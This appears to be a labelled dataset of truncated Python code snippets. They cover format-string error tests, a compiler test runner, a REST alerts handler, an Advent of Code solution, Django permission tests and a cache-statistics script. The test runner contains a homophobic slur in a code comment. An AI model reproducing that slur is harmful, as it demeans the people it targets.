'{0:0}'.format('zzz') except (ValueError): print('ValueError') try: '{1:}'.format(1) except IndexError: print('IndexError') try: '}'.format('zzzz') except ValueError: print('ValueError') # end of format parsing conversion specifier try: '{!'.format('a') except ValueError: print('ValueError') # unknown conversion specifier try: 'abc{!d}'.format('1') except ValueError: print('ValueError') try: '{abc'.format('zzzz') except ValueError: print('ValueError') # expected ':' after specifier try: '{!s :}'.format(2) except ValueError: print('ValueError') try: '{}{0}'.format(1, 2) except ValueError: print('ValueError') try: '{1:}'.format(1) except IndexError: print('IndexError') try: '{ 0 :*^10}'.format(12) except KeyError: print('KeyError') try: '{0}{}'.format(1) except ValueError: print('ValueError') try: '{}{}'.format(1) except IndexError: print('IndexError') try: '{0:+s}'.format('1') except ValueError: print('ValueError') try: '{0:+c}'.format(1) except ValueError: print('ValueError') try: '{0:s}'.format(1) except ValueError: print('ValueError') try: '{:*""1""}'.format('zz') except ValueError: print('ValueError') # unknown format code for str arg try: '{:X}'.format('zz') except ValueError: print('ValueError') ",1 "_SOURCE=200809L -W -Wall -Wno-unused-variable -Wno-unused-parameter -Wno-unused-label -Wno-unused-value -Wno-unused-but-set-variable -Wno-unused-function -Wno-main"".split("" "") class Table(): pass class TestMode(): pass_ = 0 fail_compile_parse = 1 fail_compile_sem = 2 fail_compile_ice = 3 fail_c = 4 fail_run = 5 fail_output = 6 fail_other = 7 disable = 8 test_modes = [TestMode.pass_, TestMode.fail_compile_parse, TestMode.fail_compile_sem, TestMode.fail_compile_ice, TestMode.fail_c, TestMode.fail_run, TestMode.fail_output, TestMode.fail_other, TestMode.disable] test_mode_names = { TestMode.pass_: (""pass"", ""Passed""), TestMode.fail_compile_parse: (""fail_compile_parse"", ""Compilation failed (parsing)""), TestMode.fail_compile_sem: (""fail_compile_sem"", ""Compilation failed (semantics)""), TestMode.fail_compile_ice: (""fail_compile_ice"", ""Compilation failed (ICE)""), TestMode.fail_c: (""fail_c"", ""C compilation/linking failed""), TestMode.fail_run: (""fail_run"", ""Run failed""), TestMode.fail_output: (""fail_output"", ""Output mismatched""), TestMode.fail_other: (""fail_other"", ""Expected failure didn't happen""), TestMode.disable: (""disable"", ""Disabled""), } test_stats = dict([(m, 0) for m in test_modes]) test_mode_values = {} for m, (s, _) in test_mode_names.iteritems(): test_mode_values[s] = m def pick(v, m): if v not in m: raise Exception(""Unknown value '%s'"" % v) return m[v] def run_test(filename): testname = os.path.basename(filename) print(""Test '%s'..."" % testname) workdir = tempfile.mkdtemp(prefix=""boringtest"") tempfiles = [] src = open(filename) headers = Table() headers.mode = TestMode.pass_ headers.is_expr = False headers.stdout = None while True: hline = src.readline() if not hline: break m = re.match(""(?://|/\*) ([A-Z]+):(.*)"", hline) if not m: break name, value = m.group(1), m.group(2) value = value.strip() if name == ""TEST"": headers.mode = pick(value, test_mode_values) elif name == ""TYPE"": headers.is_expr = pick(value, {""normal"": False, ""expr"": True}) elif name == ""STDOUT"": term = value + ""*/"" stdout = """" while True: line = src.readline() if not line: raise Exception(""unterminated STDOUT header"") if line.strip() == term: break stdout += line headers.stdout = stdout else: raise Exception(""Unknown header '%s'"" % name) src.close() def do_run(): if headers.mode == TestMode.disable: return TestMode.disable # make is for fags tc = os.path.join(workdir, ""t.c"") tcf = open(tc, ""w"") tempfiles.append(tc) res = subprocess.call([""./main"", ""cg_c"", filename], stdout=tcf) tcf.close() if res != 0: if res == 1: return TestMode.fail_compile_parse if res == 2: return TestMode.fail_compile_sem return TestMode.fail_compile_ice t = os.path.join(workdir, ""t"") tempfiles.append(t) res = subprocess.call([CC] + CFLAGS + [tc, ""-o"", t]) if res != 0: return TestMode.fail_c p = subprocess.Popen([t], stdout=subprocess.PIPE) output, _ = p.communicate() res = p.wait() if res != 0: return TestMode.fail_run if headers.stdout is not None and headers.stdout != output: print(""Program output: >\n%s<\nExpected: >\n%s<"" % (output, headers.stdout)) return TestMode.fail_output return TestMode.pass_ actual_res = do_run() for f in tempfiles: try: os.unlink(f) except OSError: pass os.rmdir(workdir) res = actual_res if res == TestMode.disable: pass elif res == headers.mode: res = TestMode.pass_ else: if headers.mode != TestMode.pass_: res = TestMode.fail_other test_stats[res] += 1 print(""Test '%s': %s (expected %s, got %s)"" % (testname, test_mode_names[res][0], test_mode_names[headers.mode][0], test_mode_names[actual_res][0])) def run_tests(list_file_name): base = os.path.dirname(list_file_name) for f in [x.strip() for x in open(argv[1])]: run_test(os.path.join(base, f)) print(""SUMMARY:"") test_sum = 0 for m in test_modes: print("" %s: %d"" % (test_mode_names[m][1], test_stats[m])) test_sum += test_stats[m] passed_tests = test_stats[TestMode.pass_] failed_tests = test_sum - passed_tests - test_stats[TestMode.disable] print(""Passed/failed: %s/%d"" % (passed_tests, failed_tests)) if failed_tests: print(""OMG OMG OMG ------- Some tests have failed ------- OMG OMG OMG"") sys.exit(1) if __name__ == ""__main__"": argv = sys.argv if len(argv) != 2: print(""Usage: %s tests.lst"" % argv[0]) sys.exit(1) #subprocess.check_call([""make"", ""main""]) run_tests(argv[1]) ",1 "wsDestination from exceptions import AutocertError from config import CFG from app import app class DestinationFactoryError(AutocertError): def __init__(self, destination): msg = f'destination factory error with {destination}' super(DestinationFactoryError, self).__init__(msg) def create_destination(destination, ar, cfg, timeout, verbosity): d = None if destination == 'aws': d = AwsDestination(ar, cfg, verbosity) elif destination == 'zeus': d = ZeusDestination(ar, cfg, verbosity) else: raise DestinationFactoryError(destination) dests = list(CFG.destinations.zeus.keys()) if d.has_connectivity(timeout, dests): return d ",1 "s file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. """"""Exposes a RESTful interface ."""""" import uuid import empower_core.apimanager.apimanager as apimanager # pylint: disable=W0223 class AlertsHandler(apimanager.APIHandler): """"""Alerts handler"""""" URLS = [r""/api/v1/alerts/?"", r""/api/v1/alerts/([a-zA-Z0-9-]*)/?""] @apimanager.validate(min_args=0, max_args=1) def get(self, *args, **kwargs): """"""Lists all the alerts. Args: [0], the alert id (optional) Example URLs: GET /api/v1/alerts GET /api/v1/alerts/52313ecb-9d00-4b7d-b873-b55d3d9ada26 """""" return self.service.alerts \ if not args else self.service.alerts[uuid.UUID(args[0])] @apimanager.validate(returncode=201, min_args=0, max_args=1) def post(self, *args, **kwargs): """"""Create a new alert. Args: [0], the alert id (optional) Request: version: protocol version (1.0) alert: the alert """""" alert_id = uuid.UUID(args[0]) if args else uuid.uuid4() if 'alert' in kwargs: alert = self.service.create(uuid=alert_id, alert=kwargs['alert']) else: alert = self.service.create(uuid=alert_id) self.set_header(""Location"", ""/api/v1/alerts/%s"" % alert.uuid) @apimanager.validate(returncode=204, min_args=0, max_args=1) def delete(self, *args, **kwargs): """"""Delete one or all alerts. Args: [0], the alert id (optional) Example URLs: DELETE /api/v1/alerts DELETE /api/v1/alerts/52313ecb-9d00-4b7d-b873-b55d3d9ada26 """""" if args: self.service.remove(uuid.UUID(args[0])) else: self.service.remove_all() ",1 "o-dimensional grid of houses. He begins by delivering a present to the house at his starting location, and then an elf at the North Pole calls him via radio and tells him where to move next. Moves are always exactly one house to the north (^), south (v), east (>), or west (<). After each move, he delivers another present to the house at his new location. However, the elf back at the north pole has had a little too much eggnog, and so his directions are a little off, and Santa ends up visiting some houses more than once. How many houses receive at least one present? For example: - > delivers presents to 2 houses: one at the starting location, and one to the east. - ^>v< delivers presents to 4 houses in a square, including twice to the house at his starting/ending location. - ^v^v^v^v^v delivers a bunch of presents to some very lucky children at only 2 houses. --- Part Two --- The next year, to speed up the process, Santa creates a robot version of himself, Robo-Santa, to deliver presents with him. Santa and Robo-Santa start at the same location (delivering two presents to the same starting house), then take turns moving based on instructions from the elf, who is eggnoggedly reading from the same script as the previous year. This year, how many houses receive at least one present? For example: - ^v delivers presents to 3 houses, because Santa goes north, and then Robo-Santa goes south. - ^>v< now delivers presents to 3 houses, and Santa and Robo-Santa end up back where they started. - ^v^v^v^v^v now delivers presents to 11 houses, with Santa going one direction and Robo-Santa going the other. """""" import sys import click def update_point(move, point): """"""Returns new point representing position after move"""""" moves = { '^': (0, -1), '<': (-1, 0), 'v': (0, 1), '>': (1, 0), } return (point[0]+moves.get(move, (0, 0))[0], point[1]+moves.get(move, (0, 0))[1]) def map_single_delivery(text): point = (0, 0) points = set({point}) for move in text: point = update_point(move, point) points.add(point) return points def number_of_houses_covered(text, robo_santa=False): return len(map_single_delivery(text)) if not robo_santa else \ len(map_multiple_deliveries(text)) def split_directions(directions): lists = ('', '') try: lists = directions[0::2], directions[1::2] except IndexError: pass return lists def map_multiple_deliveries(text): directions = split_directions(text) points = map_single_delivery(directions[0]) return points.union(map_single_delivery(directions[1])) def calculate_solution_1(text): return number_of_houses_covered(text) def calculate_solution_2(text): return number_of_houses_covered(text, robo_santa=True) @click.command() @click.option('--source_file', default='data/03.txt', help='source data file for problem') def main(source_file): """"""Simple solution to adventofcode problem 3."""""" data = '' with open(source_file) as source: data = source.read() print('Santa gave at least one present to {} houses.'.format( number_of_houses_covered(data))) if __name__ == ""__main__"": sys.exit(main()) ",1 "ntenttypes.models import ContentType from django.test import TestCase class BackendTest(TestCase): backend = 'django.contrib.auth.backends.ModelBackend' def setUp(self): self.curr_auth = settings.AUTHENTICATION_BACKENDS settings.AUTHENTICATION_BACKENDS = (self.backend,) User.objects.create_user('test', 'test@example.com', 'test') def tearDown(self): settings.AUTHENTICATION_BACKENDS = self.curr_auth def test_has_perm(self): user = User.objects.get(username='test') self.assertEqual(user.has_perm('auth.test'), False) user.is_staff = True user.save() self.assertEqual(user.has_perm('auth.test'), False) user.is_superuser = True user.save() self.assertEqual(user.has_perm('auth.test'), True) user.is_staff = False user.is_superuser = False user.save() self.assertEqual(user.has_perm('auth.test'), False) user.is_staff = True user.is_superuser = True user.is_active = False user.save() self.assertEqual(user.has_perm('auth.test'), False) def test_custom_perms(self): user = User.objects.get(username='test') content_type=ContentType.objects.get_for_model(Group) perm = Permission.objects.create(name='test', content_type=content_type, codename='test') user.user_permissions.add(perm) user.save() # reloading user to purge the _perm_cache user = User.objects.get(username='test') self.assertEqual(user.get_all_permissions() == set([u'auth.test']), True) self.assertEqual(user.get_group_permissions(), set([])) self.assertEqual(user.has_module_perms('Group'), False) self.assertEqual(user.has_module_perms('auth'), True) perm = Permission.objects.create(name='test2', content_type=content_type, codename='test2') user.user_permissions.add(perm) user.save() perm = Permission.objects.create(name='test3', content_type=content_type, codename='test3') user.user_permissions.add(perm) user.save() user = User.objects.get(username='test') self.assertEqual(user.get_all_permissions(), set([u'auth.test2', u'auth.test', u'auth.test3'])) self.assertEqual(user.has_perm('test'), False) self.assertEqual(user.has_perm('auth.test'), True) self.assertEqual(user.has_perms(['auth.test2', 'auth.test3']), True) perm = Permission.objects.create(name='test_group', content_type=content_type, codename='test_group') group = Group.objects.create(name='test_group') group.permissions.add(perm) group.save() user.groups.add(group) user = User.objects.get(username='test') exp = set([u'auth.test2', u'auth.test', u'auth.test3', u'auth.test_group']) self.assertEqual(user.get_all_permissions(), exp) self.assertEqual(user.get_group_permissions(), set([u'auth.test_group'])) self.assertEqual(user.has_perms(['auth.test3', 'auth.test_group']), True) user = AnonymousUser() self.assertEqual(user.has_perm('test'), False) self.assertEqual(user.has_perms(['auth.test2', 'auth.test3']), False) def test_has_no_object_perm(self): """"""Regressiontest for #12462"""""" user = User.objects.get(username='test') content_type=ContentType.objects.get_for_model(Group) perm = Permission.objects.create(name='test', content_type=content_type, codename='test') user.user_permissions.add(perm) user.save() self.assertEqual(user.has_perm('auth.test', 'object'), False) self.assertEqual(user.get_all_permissions('object'), set([])) self.assertEqual(user.has_perm('auth.test'), True) self.assertEqual(user.get_all_permissions(), set(['auth.test'])) class TestObj(object): pass class SimpleRowlevelBackend(object): supports_object_permissions = True # This class also supports tests for anonymous user permissions, # via subclasses which just set the 'supports_anonymous_user' attribute. def has_perm(self, user, perm, obj=None): if not obj: return # We only support row level perms if isinstance(obj, TestObj): if user.username == 'test2': return True elif user.is_anonymous() and perm == 'anon': # not reached due to supports_anonymous_user = False return True return False def has_module_perms(self, user, app_label): return app_label == ""app1"" def get_all_permissions(self, user, obj=None): if not obj: return [] # We only support row level perms if not isinstance(obj, TestObj): return ['none'] if user.is_anonymous(): return ['anon'] if user.username == 'test2': return ['simple', 'advanced'] else: return ['simple'] def get_group_permissions(self, user, obj=None): if not obj: return # We only support row level perms if not isinstance(obj, TestObj): return ['none'] if 'test_group' in [group.name for group in user.groups.all()]: return ['group_perm'] else: return ['none'] class RowlevelBackendTest(TestCase): """""" Tests for auth backend that supports object level permissions """""" backend = 'django.contrib.auth.tests.auth_backends.SimpleRowlevelBackend' def setUp(self): self.curr_auth = settings.AUTHENTICATION_BACKENDS settings.AUTHENTICATION_BACKENDS = tuple(self.curr_auth) + (self.backend,) self.user1 = User.objects.create_user('test', 'test@example.com', 'test') self.user2 = User.objects.create_user('test2', 'test2@example.com', 'test') self.user3 = User.objects.create_user('test3', 'test3@example.com', 'test') self.save_warnings_state() warnings.filterwarnings('ignore', category=DeprecationWarning, module='django.contrib.auth') def tearDown(self): settings.AUTHENTICATION_BACKENDS = self.curr_auth self.restore_warnings_state() def test_has_perm(self): self.assertEqual(self.user1.has_perm('perm', TestObj()), False) self.assertEqual(self.user2.has_perm('perm', TestObj()), True) self.assertEqual(self.user2.has_perm('perm'), False) self.assertEqual(self.user2.has_perms(['simple', 'advanced'], TestObj()), True) self.assertEqual(self.user3.has_perm('perm', TestObj()), False) self.assertEqual(self.user3.has_perm('anon', TestObj()), False) self.assertEqual(self.user3.has_perms(['simple', 'advanced'], TestObj()), False) def test_get_all_permissions(self): self.assertEqual(self.user1.get_all_permissions(TestObj()), set(['simple'])) self.assertEqual(self.user2.get_all_permissions(TestObj()), set(['simple', 'advanced'])) self.assertEqual(self.user2.get_all_permissions(), set([])) def test_get_group_permissions(self): content_type=ContentType.objects.get_for_model(Group) group = Group.objects.create(name='test_group') self.user3.groups.add(group) self.assertEqual(self.user3.get_group_permissions(TestObj()), set(['group_perm'])) class AnonymousUserBackend(SimpleRowlevelBackend): supports_anonymous_user = True class NoAnonymousUserBackend(SimpleRowlevelBackend): supports_anonymous_user = False class AnonymousUserBackendTest(TestCase): """""" Tests for AnonymousUser delegating to backend if it has 'supports_anonymous_user' = True """""" backend = 'django.contrib.auth.tests.auth_backends.AnonymousUserBackend' def setUp(self): self.curr_auth = settings.AUTHENTICATION_BACKENDS settings.AUTHENTICATION_BACKENDS = (self.backend,) self.user1 = AnonymousUser() def tearDown(self): settings.AUTHENTICATION_BACKENDS = self.curr_auth def test_has_perm(self): self.assertEqual(self.user1.has_perm('perm', TestObj()), False) self.assertEqual(self.user1.has_perm('anon', TestObj()), True) def test_has_perms(self): self.assertEqual(self.user1.has_perms(['anon'], TestObj()), True) self.assertEqual(self.user1.has_perms(['anon', 'perm'], TestObj()), False) def test_has_module_perms(self): self.assertEqual(self.user1.has_module_perms(""app1""), True) self.assertEqual(self.user1.has_module_perms(""app2""), False) def test_get_all_permissions(self): self.assertEqual(self.user1.get_all_permissions(TestObj()), set(['anon'])) class NoAnonymousUserBackendTest(TestCase): """""" Tests that AnonymousUser does not delegate to backend if it has 'supports_anonymous_user' = False """""" backend = 'django.contrib.auth.tests.auth_backends.NoAnonymousUserBackend' def setUp(self): self.curr_auth = settings.AUTHENTICATION_BACKENDS settings.AUTHENTICATION_BACKENDS = tuple(self.curr_auth) + (self.backend,) self.user1 = AnonymousUser() def tearDown(self): settings.AUTHENTICATION_BACKENDS = self.curr_auth def test_has_perm(self): self.assertEqual(self.user1.has_perm('perm', TestObj()), False) self.assertEqual(self.user1.has_perm('anon', TestObj()), False) def test_has_perms(self): self.assertEqual(self.user1.has_perms(['anon'], TestObj()), False) def test_has_module_perms(self): self.assertEqual(self.user1.has_module_perms(""app1""), False) self.assertEqual(self.user1.has_module_perms(""app2""), False) def test_get_all_permissions(self): self.assertEqual(self.user1.get_all_permissions(TestObj()), set()) ",1 "This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . # # Counter for a folder # /pmaclabs/icepic/ti10_round1_icepic_large_0256/processed_trace # Executable: # AvgCacheCalc.py # # This will calculate the Average of Cache hits for a series of processed metasim files. # # # Usage: # # A number of arguments are needed. The arguments determine how to select the set of files to process # and whether to compute the average across all files or not. # # Either sysid or taskid is required # sysid - calculates a single average for all files with the same sysid # - use with --sysid option to speciy which sysid to use. # - for file icepic_large_0256_0127.sysid44, the sysid is 44 # # taskid - prints an average for each file with the same task id (ie 1 set of averages for for each sysid found) # - use with --taskid option to specify the task id # - for file icepic_large_0256_0127.sysid44, the taskid is 0127 # # # app icepic,hycom,..."" # dataset large, standard..."" # cpu_count 256,1024,... input will be padded with 0s to 4 digits # Optional: # dir - current dir is used if these argument is not given # As an example take the folder: # /pmaclabs/ti10/ti10_round1_icepic_large_0256/processed_trace # # # SysID mode: #mattl@trebek[21]$ ./AvgCacheCalc.py --app icepic --dataset large --cpu_count 1024 --sysid 99 --dir /pmaclabs/ti10/ti10_round1_icepic_large_1024/processed_trace/ # # # Reading files from: /pmaclabs/ti10/ti10_round1_icepic_large_1024/processed_trace/ # Averaging for all files like icepic_large_1024*.sysid99 # Number of files: 1024 # Cache 1 average %= 98.365459015 incl(98.365459015) # Cache 2 average %= 0.000974823792366 incl(98.3654743948) # Cache 3 average %= 0.0 incl(98.3654743948) # # # TaskID: # mattl@trebek[20]$ ./AvgCacheCalc.py --app icepic --dataset large --cpu_count 1024 --taskid 125 --dir /pmaclabs/ti10/ti10_round1_icepic_large_1024/processed_trace/ # # Reading files from: /pmaclabs/ti10/ti10_round1_icepic_large_1024/processed_trace/ # Averaging for all files like icepic_large_1024_0125* # Number of files: 32 # sysid0 99.5021899287 # sysid3 98.3544410843 98.4873748354 # sysid4 99.0521953314 99.0939555641 # sysid21 98.2867244765 98.496093132 # sysid22 98.8836107446 99.0731860899 99.5543906444 # sysid23 98.086753753 98.4952485239 # sysid44 98.8836107446 99.0772427056 99.5790751053 # sysid54 96.785672042 99.0781143074 # sysid64 98.3544410843 98.4789295449 98.4817196019 # sysid67 74.5078816751 # sysid68 23.7552154266 # sysid69 30.5848561276 # sysid70 33.5335710304 # sysid71 37.710498373 # sysid72 98.2910942185 98.2910942244 98.2910942244 # sysid73 98.3544410843 98.4789295449 98.49290069 # sysid74 98.3544410843 98.4789295449 98.4887431283 # sysid75 98.9182843857 99.0849451175 99.5487031836 # sysid77 98.086753753 98.4769519456 98.4956922971 # sysid78 98.9182843857 99.0849451175 99.1358601016 # sysid81 98.2910942185 98.2910942244 98.2910942244 # sysid82 98.2910942185 98.2910942244 98.2910942244 # sysid96 98.3544410843 98.4789295449 98.4928364694 # sysid97 98.3544410843 98.4789295449 98.492618417 # sysid98 98.2910942185 98.2910942244 98.2910942244 # sysid99 98.2910942185 98.2910942244 98.2910942244 # sysid100 98.3544410843 98.4789295449 98.4884141107 # sysid101 98.3544410843 98.4789295449 98.4884425654 # sysid102 98.2910942185 98.2910942244 98.2910942244 # sysid103 98.2910942185 98.2910942244 98.2910942244 # sysid104 98.086753753 98.4769519456 98.5007917366 # sysid105 98.086753753 98.4769519456 98.4966562518 import sys, os, glob, re # function for getting average for a single file # used by sysid argument def getAvgSingle(fileNameGetAvg): """"""calcuates the average cache hits for a file"""""" #print ""TESTING:: file:"", fileNameGetAvg #this part is from counter_mikey.py try: traceFile = open(fileNameGetAvg, 'r') fileLines = traceFile.readlines() traceFile.close() except IOError: print ""Warning: file"" + traceFile, ""not found"" exit() #Process file #count the lines, track each line in a list everyLine = [] totalMisses = [] totalAccesses = [] myLine = fileLines[0].split() cLevel = len(myLine)-3 #print ""TESTING:: cLevel="", cLevel for i in range(0,cLevel,1): totalMisses.append(0) totalAccesses.append(0) if cLevel < 1 or cLevel > 3: print ""FATAL: Expected 1, 2 or 3 cache levels"" exit() idx = 1 for myLine in fileLines: # tokenize the line and verify that we get the correct number of tokens myLine = myLine.split() if cLevel != len(myLine)-3: print ""FATAL: expected "" + cLevel + "" hit rates on line "" + str(idx) exit() # ascribe each token to an aptly-named variable #blockid = long(myLine[0]) ###ASK MIKEY - needed?### #fpCount = long(myLine[1]) ###ASK MIKEY - needed?### memCount = long(myLine[2]) inclRate = [] for i in range(0,len(totalMisses),1): inclRate.append(float(myLine[i+3])) #print ""myLine["", i+3, ""]= "", myLine[i+3] # convert each inclusive hit rate to an exclusive rate exclRate = [inclRate[0]] for i in range(1,len(inclRate),1): thisRate = float(inclRate[i]) prevRate = float(inclRate[i-1]) if prevRate < 100.0: exclRate.append(100.0*float(thisRate - prevRate)/(100.0 - prevRate)) else: exclRate.append(float(0.0)) blockAccesses = [] blockMisses = [] blockAccesses.append(memCount) ## blockHits[n] stores the number of memory accesses that make it to cache level N for i in range(0,len(totalMisses)-1,1): blockMisses.append((blockAccesses[i]*(float(100.0)-exclRate[i]))/float(100.0)) # print ""block L"" + str(i+1) + "" misses: "" + str(blockMisses[i]) blockAccesses.append(blockMisses[i]) # print ""block L"" + str(i+2) + "" accesses: "" + str(blockAccesses[i+1]) blockMisses.append(blockAccesses[cLevel-1]*((100.0-exclRate[cLevel-1])/100.0)) # print ""block L"" + str(cLevel) + "" misses: "" + str(blockMisses[cLevel-1]) for i in range(0,len(totalMisses),1): totalMisses[i] += blockMisses[i] totalAccesses[i] += blockAccesses[i] totalHits = 0 cacheValues = [] for i in range(0,len(totalMisses),1): levelHits = (totalAccesses[i] - totalMisses[i]) totalHits += levelHits #assign values to tuple and return cacheValues.append((levelHits)/(totalAccesses[i])*100) cacheValues.append(100*totalHits/totalAccesses[0]) #print ""Cache "" + str(i+1) + "" average %= "" + str((levelHits)/(totalAccesses[i])*100) + "" incl("" + str(100*totalHits/totalAccesses[0]) + "")"" #print ""cacheValues:"", cacheValues return cacheValues # function for getting average for a single file # used by taskid argument # printType: 1 = taskid prints ex: taskid0001 # printType: 2 = sysid pritns sysid72 def printAvgSingle(fileNamepAvg, printType): #print ""Avg for file:"", fileNamepAvg fileidx = fileNamepAvg.rfind(""/"") shortfileName = fileNamepAvg[fileidx+1:] #print ""TESTING: FileName:"", shortfileName # get the sysid# for printing later try: sysidname = shortfileName[shortfileName.index('.')+1:] taskidname = shortfileName[shortfileName.index('.')-4:shortfileName.index('.')] #print ""TESTING: sysidname="", sysidname except ValueError: print ""ERROR: Invalid filename no '.' found in filename:"", shortfileName exit() except IndexError: #If file has '.' as last char, this could error print ""Error: Invalid location of . in filename. this shouldn't happen-"", shortfileName exit() #lifted from counter_mikey.py try: traceFile = open(fileNamepAvg, 'r') except IOError, NameError: print ""ERROR: can't find that file: "" + fileNamepAvg exit() #Process file #count the lines, track each line in a list everyLine = [] fileLines = traceFile.readlines() traceFile.close() myLine = fileLines[0].split() cLevel = len(myLine)-3 totalMisses = [] totalAccesses = [] for i in range(0,cLevel,1): totalMisses.append(0) totalAccesses.append(0) ####validate cLevel 4,5, or 6 is expected #print ""TESTING: This file has"", cLevel, ""cache level(s)"" ##print ""Eachline has"", len(myLines), ""columns"" if cLevel < 1 or cLevel > 3: print ""ERROR: Expected 1, 2, or 3 cache levels"" exit() #### create if, else for cLevel = 4,5,6 idx = 1 for myLine in fileLines: # tokenize the line and verify that we get the correct number of tokens myLine = myLine.split() if cLevel != len(myLine)-3: print ""ERROR: expected "" + cLevel + "" hit rates on line "" + str(idx) # ascribe each token to an aptly-named variable blockid = long(myLine[0]) fpCount = long(myLine[1]) memCount = long(myLine[2]) inclRate = [] for i in range(0,len(totalMisses),1): inclRate.append(float(myLine[i+3])) # convert each inclusive hit rate to an exclusive rate exclRate = [inclRate[0]] for i in range(1,len(inclRate),1): thisRate = float(inclRate[i]) prevRate = float(inclRate[i-1]) if prevRate < 100.0: exclRate.append(100.0*float(thisRate - prevRate)/(100.0 - prevRate)) else: exclRate.append(float(0.0)) # print str(myLine) + ' -> ', # print str(blockid) + '\t' + str(fpCount) + '\t' + str(memCount), # for i in range(0,len(exclRate),1): # print '\t' + str(exclRate[i]), # print '' blockAccesses = [] blockMisses = [] blockAccesses.append(memCount) # print ""block L1 accesses: "" + str(blockAccesses[0]) ## blockHits[n] stores the number of memory accesses that make it to cache level N for i in range(0,len(totalMisses)-1,1): blockMisses.append((blockAccesses[i]*(float(100.0)-exclRate[i]))/float(100.0)) # print ""block L"" + str(i+1) + "" misses: "" + str(blockMisses[i]) blockAccesses.append(blockMisses[i]) # print ""block L"" + str(i+2) + "" accesses: "" + str(blockAccesses[i+1]) blockMisses.append(blockAccesses[cLevel-1]*((100.0-exclRate[cLevel-1])/100.0)) # print ""block L"" + str(cLevel) + "" misses: "" + str(blockMisses[cLevel-1]) for i in range(0,len(totalMisses),1): totalMisses[i] += blockMisses[i] totalAccesses[i] += blockAccesses[i] # if printType == 1: # print ""taskid"" + str(taskidname), # if printType == 2: # print sysidname.rjust(8), print shortfileName, totalHits = 0 for i in range(0,len(totalMisses),1): levelHits = (totalAccesses[i] - totalMisses[i]) totalHits += levelHits #print ""Cache "" + str(i+1) + "" average %= "" + str((levelHits)/(totalAccesses[i])*100) + "" incl("" + str(100*totalHits/totalAccesses[0]) + "")"" print str(100*totalHits/totalAccesses[0]).ljust(13), print """" # used to sort list of files in natural or numeric order def sort_nicely( l ): """""" Sort the given list in the way that humans expect. """""" def convert(text): if text.isdigit(): return int(text) else: return text ##convert = lambda text: int(text) if text.isdigit() else text alphanum_key = lambda key: [ convert(c) for c in re.split('([0-9]+)', key) ] l.sort( key=alphanum_key ) #prints a usage error message and exits def errorMsg(): print print ""Usage : ./AvgCacheCalc.py\n"" print ""required:"" print ""\t--app string; eg icepic,hycom,..."" print ""\t--dataset string; eg large, standard..."" print ""\t--cpu_count int; eg 256,1024,...\n"" print ""One of these two are required:"" print ""\t--taskid int; eg 0001"" print ""\t--sysid int; 1, 2, or 3 chars - 75\n"" print ""optional"" print ""\t--dir string; eg /pmaclabs/ti10/ti10_icepic_standard_0128/processed_trace/ [default=.]"" exit() diridx = -1 sysidx = -1 taskidx = -1 sysidindexerr = 0 taskidindexerr = 0 try: #check for sysid sysidx = sys.argv.index(""--sysid"") #print ""past sysidx ValueError"" #print ""sysidx="", sysidx if sysidx != -1: sysid = sys.argv[sysidx+1] #print ""sysid="", sysid except IndexError: print ""TESTING: IndexError:No --sysid argument. ->pass"" sysidindexerr = 1 pass except ValueError: #print ""TESTING: ValueError --sysid ->pass"" # sysid may not be needed, taskid maybe used pass try: # check for taskid taskidx = sys.argv.index(""--taskid"") task = sys.argv[taskidx+1] # pad task with 0s if needed while len(task) < 4: task = ""0""+task #print ""TESTING:task="", task #print ""taskidx="", taskidx #print ""taskid="", task except IndexError: print ""TESTING: IndexError: No --taskid argument. ->pass"" taskidindexerr = 1 pass except ValueError: #print ""TESTING: ValueError --taskid ->pass"" pass # if neither sysid or taskid is used, error if sysidx == -1 and taskidx == -1: print ""Either --sysid or --taskid required - neither used"" errorMsg() # if both sysid and taskid are used, error if sysidx != -1 and taskidx != -1: print ""Either --sysid or --taskid required - both used"" errorMsg() # check to make sure sys or task value was given # needed because we skipped this check before #print ""Testing: sysidx and taskidx sysidx="", sysidx,"" taskidx="", taskidx if sysidx != -1 and sysidindexerr == 1: # we are using sysid and there was a no value after print ""No --sysid value given, please provide argument\n"" errorMsg() if taskidx != -1 and taskidindexerr == 1: # we are using taskid and there was a no value after print ""No --taskid value given, please provide argument\n"" errorMsg() # check for dir # not required, uses current dir try: diridx = sys.argv.index(""--dir"") except ValueError: #print""no dir->ok"" pass # if --dir is not used, current dir willbe used try: if diridx == -1: dirRead = os.getcwd() #use currend dir if none given #print ""TESTING: current dir used dir="", dirRead else: dirRead = sys.argv[diridx+1] #print ""TESTING: input used ***WHAT ABOUT SLASH AT END*** dir="", dirRead #pad a '/' to the end of the directory if dirRead[-1] != '/': dirRead = dirRead + '/' except IndexError: print ""No --dir value given, please provide argument\n"" errorMsg() except ValueError: print ""TESTING:Error with --dir argument, see usage below\n"" errorMsg() try: #check for app appidx = sys.argv.index(""--app"") appname = sys.argv[appidx+1] #print ""app="", appname except IndexError: print ""No --app value given, please provide argument\n"" errorMsg() except ValueError: print ""Error with --app argument, see usage below\n"" errorMsg() try: #check for dataset datasetidx = sys.argv.index(""--dataset"") datasetname = sys.argv[datasetidx+1] #print ""dataset="", datasetname except IndexError: print ""No --dataset value given, please provide argument\n"" errorMsg() except ValueError: print ""Error with --dataset argument, see usage below\n"" errorMsg() try: #check for cpu_count cpuidx = sys.argv.index(""--cpu_count"") cpu = sys.argv[cpuidx+1] #print ""cpu="", cpu #print ""cpu type:"", type(cpu) cpulen = len(cpu) if cpulen > 4: # error if more than 4 digits print ""ERROR: cpu_count cannot be greater than 4 digits"" exit() if cpulen < 4: # pad with 0 if less than 4 digits #print ""TESTING: cpulen:"", cpulen, ""needs to be 4"" while len(cpu) < 4: cpu = ""0""+cpu cpulen = len(cpu) except IndexError: print ""No --cpu_count value given, please provide argument\n"" errorMsg() except ValueError: print ""Error with --cpu_count argument, see usage below\n"" errorMsg() fileName = appname+""_""+datasetname+""_""+cpu # print ""filename:"", fileName # print ""dirRead:"", dirRead print print ""Reading files from: "", dirRead #gets the list of files with a matching sysid value if taskidx 